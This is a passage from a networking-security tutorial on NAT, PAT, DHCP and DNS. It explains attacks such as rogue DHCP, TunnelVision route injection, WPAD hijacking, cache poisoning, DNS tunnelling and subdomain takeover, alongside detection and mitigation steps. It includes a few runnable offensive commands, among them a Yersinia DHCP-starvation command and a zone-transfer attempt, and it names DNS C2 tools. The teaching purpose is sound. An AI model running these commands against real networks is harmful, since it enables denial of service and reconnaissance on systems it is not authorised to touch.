&lt;p&gt;&lt;strong&gt;Dynamic NAT:&lt;/strong&gt;&lt;br&gt;
Pool of public IPs, allocated on demand from private IPs.&lt;br&gt;
Used when: organisation has multiple public IPs but more private hosts.&lt;br&gt;
Less common in modern deployments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PAT / NAT Overload (most common):&lt;/strong&gt;&lt;br&gt;
Many private IPs share one public IP, differentiated by source port.&lt;br&gt;
This is what virtually every home router and most corporate NAT devices implement.&lt;br&gt;
Covered in detail in Section 10.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Port Forwarding (Destination NAT / DNAT):&lt;/strong&gt;&lt;br&gt;
Inbound traffic to a specific public IP:port is redirected to a private IP:port.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Example: All traffic to 203.0.113.1:80 → 192.168.1.100:80 (internal web server)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Security: explicitly exposes a specific internal host to the internet.&lt;br&gt;
Must be carefully controlled — unauthorised port forwarding is a security incident.&lt;/p&gt;
&lt;h3&gt;
  
  
  9.3 NAT Security Implications
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;NAT is NOT a security control — it is an address translation mechanism:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Common misconception: &lt;span class="s2"&gt;"We're behind NAT, so we're protected"&lt;/span&gt;

Why this is wrong:
  1. Outbound connections bypass NAT protection entirely
     Malware can establish outbound connections to C2 servers
     NAT translates and allows these — it only blocks UNSOLICITED inbound

  2. NAT traversal techniques bypass inbound filtering:
     STUN &lt;span class="o"&gt;(&lt;/span&gt;Session Traversal Utilities &lt;span class="k"&gt;for &lt;/span&gt;NAT&lt;span class="o"&gt;)&lt;/span&gt;: used by WebRTC
     TURN &lt;span class="o"&gt;(&lt;/span&gt;Traversal Using Relays around NAT&lt;span class="o"&gt;)&lt;/span&gt;: relay-based bypass
     UPnP &lt;span class="o"&gt;(&lt;/span&gt;Universal Plug and Play&lt;span class="o"&gt;)&lt;/span&gt;: applications self-configure port forwarding
     ICMP tunnelling: encapsulate traffic &lt;span class="k"&gt;in &lt;/span&gt;ICMP &lt;span class="o"&gt;(&lt;/span&gt;sometimes passes NAT&lt;span class="o"&gt;)&lt;/span&gt;

  3. UPnP is a significant vulnerability:
     By default, applications can call UPnP to open arbitrary port forwards
     Malware does this to create persistent inbound access

     &lt;span class="c"&gt;# Check if UPnP is running on your router:&lt;/span&gt;
     &lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 1900 192.168.1.1        &lt;span class="c"&gt;# SSDP/UPnP discovery&lt;/span&gt;
     upnpc &lt;span class="nt"&gt;-l&lt;/span&gt;                                  &lt;span class="c"&gt;# List current port forwards (miniupnpc package)&lt;/span&gt;

  4. Application Layer Gateway &lt;span class="o"&gt;(&lt;/span&gt;ALG&lt;span class="o"&gt;)&lt;/span&gt; vulnerabilities:
     NAT must understand some protocols &lt;span class="o"&gt;(&lt;/span&gt;FTP, SIP, H.323&lt;span class="o"&gt;)&lt;/span&gt; to translate correctly
     ALG implementations have had vulnerabilities
     NAT-ALG &lt;span class="k"&gt;for &lt;/span&gt;FTP has been exploited to reach internal hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Forensic implications of NAT:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Problem: NAT hides the true source of connections
  Security camera records show: IP 203.0.113.1 accessed the server
  But who was it? Could be any of 5,000 internal hosts using that NAT

Solution: NAT logging is mandatory for attribution
  Every enterprise firewall/NAT device should log:
  - Timestamp of translation creation
  - Inside local IP:port
  - Inside global IP:port
  - Outside IP:port
  - Protocol
  - Duration

  Without NAT logs, incident response attribution is impossible.
  Log format: May 29 10:00:01 firewall %NAT-6-LOG: TCP src 192.168.1.50:54321
              dst 203.0.113.50:80 translated to src 203.0.113.1:12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; NAT's protection is entirely passive — it blocks unsolicited inbound connections because there is no NAT entry to translate them. The moment a connection is initiated from inside (which malware always does), NAT becomes invisible. Every reverse shell, every HTTPS C2 beacon, every DNS tunnel — all traverse NAT without obstruction. NAT logging is the only forensic tool that allows attribution after an incident.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. PAT — Port Address Translation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 How PAT Differs from NAT
&lt;/h3&gt;

&lt;p&gt;PAT (Port Address Translation), also called NAT Overload or NAPT (Network Address and Port Translation), is the specific technique that allows many private hosts to share a single public IP address by using different source port numbers to distinguish connections.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PAT in action — three internal hosts accessing the same web server:

Inside:                    Public:              Outside:
192.168.1.10:51000  ────→  1.2.3.4:40001 ────→  93.184.216.34:80
192.168.1.20:51000  ────→  1.2.3.4:40002 ────→  93.184.216.34:80
192.168.1.30:51000  ────→  1.2.3.4:40003 ────→  93.184.216.34:80

All three inside hosts use the same source port (51000) from their perspective.
PAT allocates unique source ports on the public side (40001, 40002, 40003).
The external server sees three connections from 1.2.3.4 on different source ports.
When response arrives to 1.2.3.4:40001, PAT knows to send it to 192.168.1.10:51000.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 Port Exhaustion
&lt;/h3&gt;

&lt;p&gt;PAT source ports are 16-bit (0-65535). With 1,024 reserved ports, approximately 64,511 simultaneous connections per public IP are theoretically possible. In practice, the limit is lower due to OS state, timeout timers, and memory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Port exhaustion attack:&lt;/strong&gt;&lt;br&gt;
An attacker from inside the NAT could rapidly open connections to an external server, exhausting the PAT table and preventing other internal hosts from making new connections. This is a DoS attack against the NAT device itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Large-scale NAT and Carrier-Grade NAT (CGN):&lt;/strong&gt;&lt;br&gt;
ISPs use CGN (100.64.0.0/10 range) to NAT entire customer networks behind a shared IP. Multiple customers share one public IP. Port exhaustion here affects all sharing customers.&lt;/p&gt;

&lt;p&gt;From a security/forensics perspective: CGN makes attribution even harder — millions of customers may share a single IP.&lt;/p&gt;


&lt;h2&gt;
  
  
  11. DHCP — How IP Addresses Are Assigned
&lt;/h2&gt;
&lt;h3&gt;
  
  
  11.1 The DORA Process
&lt;/h3&gt;

&lt;p&gt;DHCP (Dynamic Host Configuration Protocol, RFC 2131) automates IP address assignment. The four-step process is called DORA:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CLIENT                                      DHCP SERVER
  │                                              │
  │ DISCOVER (broadcast, src: 0.0.0.0:68)       │
  │ ─────────────────────────────────────────→  │
  │ "I need an IP address"                       │
  │ Src IP: 0.0.0.0  (no IP yet)                │
  │ Dst IP: 255.255.255.255 (broadcast)          │
  │ Transaction ID: 0x12345678                   │
  │                                              │
  │ ←───────────────────────────────────────── │
  │ OFFER (unicast or broadcast)                 │
  │ "I offer you 192.168.1.50"                   │
  │ Offered IP: 192.168.1.50                     │
  │ Server IP: 192.168.1.1                       │
  │ Lease time: 86400 seconds (24 hours)         │
  │ Gateway: 192.168.1.1                         │
  │ DNS: 8.8.8.8, 8.8.4.4                       │
  │ Subnet mask: 255.255.255.0                   │
  │                                              │
  │ REQUEST (broadcast)                          │
  │ ─────────────────────────────────────────→  │
  │ "I accept 192.168.1.50 from server .1"       │
  │ Broadcast — informs other DHCP servers too   │
  │                                              │
  │ ←───────────────────────────────────────── │
  │ ACKNOWLEDGE (ACK)                            │
  │ "Confirmed. 192.168.1.50 is yours for 24h"  │
  │                                              │
  [Client configures interface with offered params]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DHCP Options — what DHCP can configure:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Option 1:   Subnet Mask
Option 3:   Default Gateway (Router)
Option 6:   DNS Servers
Option 12:  Hostname
Option 15:  Domain Name
Option 28:  Broadcast Address
Option 42:  NTP Servers
Option 43:  Vendor-specific options (used by PXE boot, VoIP phones, OT devices)
Option 51:  Lease Time
Option 54:  DHCP Server IP
Option 58:  Renewal Time (T1) — when to start renewing (50% of lease time)
Option 59:  Rebinding Time (T2) — when to broadcast for any DHCP server (87.5%)
Option 60:  Vendor Class Identifier (client announces its type)
Option 61:  Client Identifier (usually MAC address)
Option 66:  TFTP Server Name (for network boot)
Option 67:  Bootfile Name (for PXE boot)
Option 82:  DHCP Relay Agent Information (circuit ID, remote ID)
Option 119: Domain Search List
Option 121: Classless Static Routes (inject routes into clients)
Option 252: WPAD URL (web proxy auto-discovery — Option 252 is the de facto standard)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Option 121 — Classless Static Routes (CVE-2024-3661 / TunnelVision):&lt;/strong&gt;&lt;br&gt;
This is a critical vulnerability disclosed in May 2024. A rogue DHCP server can use Option 121 to inject arbitrary routes into a client's routing table. By routing all traffic through the attacker's gateway and adding a specific route for the VPN's traffic, the attacker can force VPN traffic outside the encrypted tunnel — bypassing VPN protections and enabling plaintext traffic interception.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack scenario:
1. Attacker deploys rogue DHCP server on Wi-Fi network
2. Serves Option 121: route 0.0.0.0/1 via attacker, 128.0.0.0/1 via attacker
   (Splits the default route — more specific than VPN's /0 route)
3. All traffic routes outside the VPN tunnel to the attacker
4. VPN client still shows "connected" — no indication of bypass

Affected: All OSes that honour DHCP Option 121 with VPN active
Not affected: Android (ignores Option 121), Linux with network namespace VPNs
Mitigations:
  - Run VPN in isolated network namespace (Linux)
  - Disable DHCP Option 121 processing
  - Use VPN with kill switch and route protection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 DHCP Attacks
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;DHCP Starvation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Attack:
  Attacker sends thousands of DHCP DISCOVER messages
  Each with a different spoofed MAC address &lt;span class="o"&gt;(&lt;/span&gt;Option 61: Client Identifier&lt;span class="o"&gt;)&lt;/span&gt;
  DHCP server allocates one IP per request
  IP pool is exhausted
  Legitimate clients receive no IP addresses → DoS

Tool: dhcpstarv, Yersinia
  &lt;span class="nb"&gt;sudo &lt;/span&gt;yersinia dhcp &lt;span class="nt"&gt;-attack&lt;/span&gt; 1    &lt;span class="c"&gt;# DHCP starvation&lt;/span&gt;

Detection:
  DHCP server logs show massive number of DISCOVER/OFFER pairs
  Short &lt;span class="nb"&gt;time &lt;/span&gt;between pool exhaustion events
  Many entries &lt;span class="k"&gt;in &lt;/span&gt;DHCP lease table with sequential MAC addresses &lt;span class="o"&gt;(&lt;/span&gt;00:0c:29:xx:xx:xx format&lt;span class="o"&gt;)&lt;/span&gt;

Mitigation:
  DHCP snooping on switches: limits DHCP messages per port per second
  Cisco: ip dhcp snooping limit rate 15  &lt;span class="o"&gt;(&lt;/span&gt;15 DHCP packets/second max per port&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Rogue DHCP Server:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Attack:
  Attacker deploys their own DHCP server on the network
  Responds to DISCOVER messages faster than the legitimate server
  Clients accept the first OFFER received
  Attacker&lt;span class="s1"&gt;'s OFFER configures:
    - Client'&lt;/span&gt;s gateway: attacker&lt;span class="s1"&gt;'s IP → all traffic through attacker (MITM)
    - Client'&lt;/span&gt;s DNS: attacker&lt;span class="s1"&gt;'s DNS server → DNS hijacking
    - Client'&lt;/span&gt;s routes &lt;span class="o"&gt;(&lt;/span&gt;Option 121&lt;span class="o"&gt;)&lt;/span&gt;: attacker&lt;span class="s1"&gt;'s routes

This is the complete network takeover without touching a single firewall.

Detection:
  Multiple DHCP servers advertising on the network
  dhcpdump: capture all DHCP traffic and alert on unexpected server IPs
  DHCP snooping: designate trusted ports — only allow DHCP OFFER from trusted

Cisco DHCP snooping:
  ip dhcp snooping vlan 10          # Enable for VLAN 10
  ip dhcp snooping                  # Enable globally
  interface gi0/1
   ip dhcp snooping trust           # Uplink to real DHCP server — trusted
  interface gi0/2                   # User-facing ports — untrusted by default
   (DHCP OFFER from this port is dropped)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;WPAD — Web Proxy Auto-Discovery (DHCP Option 252):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack chain:
1. DHCP server (rogue or legitimate) includes Option 252:
   wpad=http://wpad.company.local/wpad.dat
2. Browser fetches wpad.dat automatically
3. Attacker controls wpad.dat content
4. wpad.dat configures browser to use attacker as proxy
5. Attacker proxies and MITMs all HTTP/HTTPS traffic

Defence:
  Disable WPAD in browser settings
  Block port 80/8080 outbound to unknown hosts
  DHCP snooping prevents rogue DHCP from serving WPAD URL
  DNS: ensure wpad.&amp;lt;domain&amp;gt; does not resolve to attacker-controlled IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# DHCP monitoring and analysis:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dhcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0               &lt;span class="c"&gt;# Monitor all DHCP traffic&lt;/span&gt;

&lt;span class="c"&gt;# Capture DHCP traffic:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'port 67 or port 68'&lt;/span&gt;

&lt;span class="c"&gt;# Check DHCP lease information on Linux:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/lib/dhcp/dhclient.leases   &lt;span class="c"&gt;# DHCP lease file&lt;/span&gt;
dhclient &lt;span class="nt"&gt;-v&lt;/span&gt; eth0 2&amp;gt;&amp;amp;1               &lt;span class="c"&gt;# Verbose DHCP negotiation&lt;/span&gt;

&lt;span class="c"&gt;# On Windows:&lt;/span&gt;
ipconfig /all                       &lt;span class="c"&gt;# Shows DHCP server IP, lease times&lt;/span&gt;
ipconfig /release                   &lt;span class="c"&gt;# Release current IP&lt;/span&gt;
ipconfig /renew                     &lt;span class="c"&gt;# Get new IP from DHCP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; DHCP is trusted implicitly by every OS — there is no authentication mechanism. The first server to respond wins. This means physical network access (plugging into an Ethernet port or connecting to Wi-Fi) combined with a rogue DHCP server grants an attacker full network MITM capability without any exploit. DHCP snooping is the only reliable mitigation, and it requires managed switch infrastructure.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  12. DNS — How Names Become Addresses
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 The DNS Hierarchy
&lt;/h3&gt;

&lt;p&gt;DNS is a globally distributed, hierarchical database. Understanding its structure is essential because attacks target every level of the hierarchy.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DNS Hierarchy:
                          . (Root)
                         / \
                        /   \
                      .com  .org  .net  .tr  .io  ...
                      /
                  google.com
                  /          \
           www.google.com   mail.google.com

Authoritative name servers exist at every level:
  Root: 13 root server clusters (a.root-servers.net through m.root-servers.net)
  TLD:  .com managed by Verisign, .org by PIR, .tr by NIC.tr, etc.
  Domain: google.com managed by Google's own nameservers (ns1.google.com, etc.)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 DNS Resolution — The Complete Process
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Query: What is the IP address of www.example.com?

1. Client checks local DNS cache → not found
   (Linux: /etc/hosts → /etc/nsswitch.conf → resolver)

2. Client queries configured resolver (stub resolver)
   Usually: ISP's DNS, 8.8.8.8, 1.1.1.1, or internal DNS server
   Type: Recursive query ("find the answer for me, wherever it is")

3. Resolver checks its cache → not found (assume cold start)

4. Resolver queries ROOT servers (hardcoded list of 13 clusters)
   Question: "Who handles .com?"
   Root response: "Ask c.gtld-servers.net (192.26.92.30) for .com"
   (Non-recursive, referral response)

5. Resolver queries .com TLD server (c.gtld-servers.net)
   Question: "Who handles example.com?"
   TLD response: "Ask ns1.example.com (93.184.216.x) for example.com"
   (Non-recursive, referral response)

6. Resolver queries example.com's authoritative server (ns1.example.com)
   Question: "What is the IP of www.example.com?"
   Auth server response: "www.example.com → 93.184.216.34 (A record, TTL=86400)"
   (Authoritative answer)

7. Resolver caches the answer for TTL seconds (86400 = 24 hours)
   Resolver sends answer to client

8. Client caches the answer for TTL seconds
   Client connects to 93.184.216.34

Total time: typically 50-300ms for cold query, &amp;lt;1ms for cached
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 DNS Security Mechanisms
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;DNSSEC — DNS Security Extensions:&lt;/strong&gt;&lt;br&gt;
DNSSEC adds cryptographic signatures to DNS records. The resolver can verify that the answer came from the legitimate authoritative server and was not tampered with.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;DNSSEC chain of trust:
  Root &lt;span class="o"&gt;(&lt;/span&gt;.&lt;span class="o"&gt;)&lt;/span&gt; signs .com
  .com signs example.com
  example.com signs www.example.com record

Without DNSSEC: anyone &lt;span class="nb"&gt;who &lt;/span&gt;controls the network path can lie about DNS
With DNSSEC: forged records are rejected &lt;span class="o"&gt;(&lt;/span&gt;wrong signature&lt;span class="o"&gt;)&lt;/span&gt;

Check &lt;span class="k"&gt;if &lt;/span&gt;a domain is DNSSEC-signed:
dig +dnssec www.cloudflare.com AAAA    &lt;span class="c"&gt;# Look for AD flag (Authenticated Data)&lt;/span&gt;
dig DS cloudflare.com @8.8.8.8        &lt;span class="c"&gt;# Check delegation signer record&lt;/span&gt;

Check DNSSEC validation at resolver:
dig +short sigchase www.cloudflare.com  &lt;span class="c"&gt;# Full DNSSEC chain validation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DoH and DoT — Encrypted DNS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;DNS over HTTPS &lt;span class="o"&gt;(&lt;/span&gt;DoH, RFC 8484&lt;span class="o"&gt;)&lt;/span&gt;:
  DNS queries sent as HTTPS requests to a DoH resolver
  Port 443 — indistinguishable from web traffic
  Prevents ISP/network-level DNS monitoring
  Prevents DNS hijacking by intermediate devices

  Disadvantage &lt;span class="k"&gt;for &lt;/span&gt;defenders: traditional DNS monitoring is blind to DoH

DNS over TLS &lt;span class="o"&gt;(&lt;/span&gt;DoT, RFC 7858&lt;span class="o"&gt;)&lt;/span&gt;:
  DNS queries encrypted with TLS
  Port 853 — distinct port, can be blocked &lt;span class="k"&gt;if &lt;/span&gt;needed
  Easier &lt;span class="k"&gt;for &lt;/span&gt;enterprises to manage than DoH

Configure DoH on Linux &lt;span class="o"&gt;(&lt;/span&gt;systemd-resolved&lt;span class="o"&gt;)&lt;/span&gt;:
  &lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/systemd/resolved.conf
  &lt;span class="c"&gt;# Add:&lt;/span&gt;
  &lt;span class="nv"&gt;DNS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1.1.1.1 8.8.8.8
  &lt;span class="nv"&gt;DNSOverTLS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
  sudo &lt;/span&gt;systemctl restart systemd-resolved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.4 DNS Attack Techniques
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;DNS Cache Poisoning:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack (Kaminsky Attack, 2008, Dan Kaminsky):
  Before the fix: DNS used sequential transaction IDs (16-bit)

  1. Attacker triggers resolver to query attacker-controlled domain
     (Forces a DNS query to flow through the process)
  2. Attacker floods resolver with forged responses:
     Claiming to be the authoritative server for "google.com"
     Each forged response has a different transaction ID
     When the attacker guesses the right ID, the poison is injected
  3. Resolver caches the fake record for TTL seconds
  4. All clients using that resolver get the fake IP for "google.com"

Fix: DNS source port randomisation + DNSSEC validation
     Resolver now uses random source port AND random transaction ID
     Probability of guessing both: 1/65535 × 1/65535 ≈ negligible

Modern DNS cache poisoning:
  Still occurs via:
  - Compromising the authoritative name server
  - BGP hijacking the IP space of the name server
  - MITM on unencrypted DNS (DoH/DoT mitigate)

Detection:
  Periodic DNS consistency checks from multiple vantage points
  Alert on TTL anomalies (poisoned records often have short/wrong TTL)
  DNSSEC validation rejects poisoned responses
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DNS Tunnelling:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Concept: Encode arbitrary data &lt;span class="k"&gt;in &lt;/span&gt;DNS queries and responses
         DNS is allowed through most firewalls
         Data exfiltration and C2 that bypasses network controls

Mechanism:
  Exfiltration direction &lt;span class="o"&gt;(&lt;/span&gt;client → attacker&lt;span class="o"&gt;)&lt;/span&gt;:
    Encode data as subdomains: &lt;span class="nb"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;data&lt;span class="o"&gt;)&lt;/span&gt;.attacker-domain.com
    Send DNS query &lt;span class="k"&gt;for &lt;/span&gt;this &lt;span class="s2"&gt;"domain"&lt;/span&gt;
    Attacker controls the DNS server &lt;span class="k"&gt;for &lt;/span&gt;attacker-domain.com
    DNS server receives the query, decodes the data from the subdomain
    Returns a valid &lt;span class="o"&gt;(&lt;/span&gt;but irrelevant&lt;span class="o"&gt;)&lt;/span&gt; DNS response

  Command direction &lt;span class="o"&gt;(&lt;/span&gt;attacker → client&lt;span class="o"&gt;)&lt;/span&gt;:
    Attacker encodes commands &lt;span class="k"&gt;in &lt;/span&gt;DNS responses &lt;span class="o"&gt;(&lt;/span&gt;TXT records, CNAME, MX&lt;span class="o"&gt;)&lt;/span&gt;
    Malware queries &lt;span class="k"&gt;for &lt;/span&gt;specific subdomains and reads the response

Tools:
  iodine: Tunnels IP over DNS
  dnscat2: DNS-based C2 framework
  DNSExfiltrator: Data exfiltration via DNS
  Cobalt Strike: DNS C2 mode &lt;span class="o"&gt;(&lt;/span&gt;commonly used by APT &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

Detection:
  High DNS query volume from a single host &lt;span class="o"&gt;(&lt;/span&gt;baseline: ~100 queries/minute normal&lt;span class="o"&gt;)&lt;/span&gt;
  DNS queries with unusually long subdomains &lt;span class="o"&gt;(&amp;gt;&lt;/span&gt;50 characters is suspicious&lt;span class="o"&gt;)&lt;/span&gt;
  DNS queries to domains with high entropy subdomain labels
  DNS queries that don&lt;span class="s1"&gt;'t correspond to network activity (no subsequent TCP connections)
  Queries for domains with randomised names (DGA — domain generation algorithm)

  # Detect long DNS queries in Wireshark:
  # Filter: dns and frame.len &amp;gt; 200

  # Command-line detection:
  sudo tcpdump -i eth0 -n '&lt;/span&gt;port 53&lt;span class="s1"&gt;' -A | grep -E '&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;A-Za-z0-9+/]&lt;span class="o"&gt;{&lt;/span&gt;20,&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s1"&gt;'

  # Passive DNS monitoring with zeek:
  # dns.log shows all DNS activity with full query names
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Subdomain Takeover:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;How it happens:
  1. Company creates CNAME: blog.company.com → company.github.io
  2. Company stops using GitHub Pages but forgets to remove the CNAME
  3. company.github.io is now &lt;span class="s2"&gt;"dangling"&lt;/span&gt; — no content claimed on GitHub
  4. Attacker creates GitHub Pages account &lt;span class="k"&gt;for &lt;/span&gt;company.github.io
  5. Attacker now controls what blog.company.com serves
  6. Can serve phishing pages, malware, steal cookies &lt;span class="o"&gt;(&lt;/span&gt;same origin as company.com&lt;span class="o"&gt;)&lt;/span&gt;

High-profile impact: Subdomain takeover has been used to steal session cookies
from &lt;span class="nb"&gt;users &lt;/span&gt;visiting company subdomains, send phishing emails from legitimate
company domains, and bypass CSP policies.

Detection and prevention:
  Enumerate all DNS records and verify each CNAME target exists and is owned

  &lt;span class="c"&gt;# Tools: subjack, tko-subs, can-i-take-over-xyz (GitHub)&lt;/span&gt;
  subjack &lt;span class="nt"&gt;-w&lt;/span&gt; subdomains.txt &lt;span class="nt"&gt;-t&lt;/span&gt; 100 &lt;span class="nt"&gt;-o&lt;/span&gt; results.txt &lt;span class="nt"&gt;-ssl&lt;/span&gt;

  &lt;span class="c"&gt;# Manual check:&lt;/span&gt;
  dig CNAME blog.company.com +short           &lt;span class="c"&gt;# Find CNAME target&lt;/span&gt;
  curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://company.github.io           &lt;span class="c"&gt;# Verify target exists&lt;/span&gt;
  &lt;span class="c"&gt;# If 404 or "page not found" → potentially takeable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# DNS reconnaissance toolkit:&lt;/span&gt;

&lt;span class="c"&gt;# Basic lookups:&lt;/span&gt;
dig example.com A                   &lt;span class="c"&gt;# A record (IPv4)&lt;/span&gt;
dig example.com AAAA                &lt;span class="c"&gt;# AAAA record (IPv6)&lt;/span&gt;
dig example.com MX                  &lt;span class="c"&gt;# Mail exchange&lt;/span&gt;
dig example.com TXT                 &lt;span class="c"&gt;# Text records (SPF, DKIM, DMARC, etc.)&lt;/span&gt;
dig example.com NS                  &lt;span class="c"&gt;# Name servers&lt;/span&gt;
dig example.com SOA                 &lt;span class="c"&gt;# Start of Authority&lt;/span&gt;
dig &lt;span class="nt"&gt;-x&lt;/span&gt; 8.8.8.8                     &lt;span class="c"&gt;# Reverse lookup (PTR record)&lt;/span&gt;

&lt;span class="c"&gt;# Using specific DNS server:&lt;/span&gt;
dig @8.8.8.8 example.com A          &lt;span class="c"&gt;# Use Google DNS&lt;/span&gt;
dig @1.1.1.1 example.com A          &lt;span class="c"&gt;# Use Cloudflare DNS&lt;/span&gt;

&lt;span class="c"&gt;# Zone transfer attempt (often blocked, but reveals misconfigured DNS):&lt;/span&gt;
dig axfr @ns1.example.com example.com
&lt;span class="c"&gt;# If successful: dumps entire DNS zone (all records)&lt;/span&gt;
&lt;span class="c"&gt;# This is a critical misconfiguration — exposes all internal hostnames&lt;/span&gt;

&lt;span class="c"&gt;# Subdomain enumeration:&lt;/span&gt;
&lt;span class="c"&gt;# Passive (no direct queries to target):&lt;/span&gt;
subfinder &lt;span class="nt"&gt;-d&lt;/span&gt; example.com &lt;span class="nt"&gt;-o&lt;/span&gt; subdomains.txt    &lt;span class="c"&gt;# Uses passive sources&lt;/span&gt;
amass enum &lt;span class="nt"&gt;-passive&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; example.com

&lt;span class="c"&gt;# Active (queries target DNS):&lt;/span&gt;
